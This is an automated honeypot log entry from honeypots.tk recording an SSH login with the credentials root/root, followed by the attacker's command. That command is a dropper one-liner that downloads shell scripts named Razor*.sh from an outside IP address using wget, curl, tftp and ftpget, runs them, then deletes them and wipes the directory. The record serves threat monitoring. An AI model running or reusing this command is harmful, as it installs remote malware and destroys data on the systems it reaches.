honeypots.tk

Record Observations : 92.118.27.202 ssh Web script execution 92.118.27.202 DK7Z1EVPXOORGZCH

<< Back

92.118.27.202 client username 'root' and password 'root' entered
92.118.27.202 client command : 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://92.118.27.173/Razor.sh; curl -O http://92.118.27.173/Razor.sh; chmod 777 Razor.sh; sh Razor.sh; tftp 92.118.27.173 -c get Razor.sh; chmod 777 Razor.sh; sh Razor.sh; tftp -r Razor2.sh -g 92.118.27.173; chmod 777 Razor2.sh; sh Razor2.sh; ftpget -v -u anonymous -p anonymous -P 21 92.118.27.173 Razor1.sh Razor1.sh; sh Razor1.sh; rm -rf Razor.sh Razor.sh Razor2.sh Razor1.sh; rm -rf *'
Author: Honeypots.tk Robot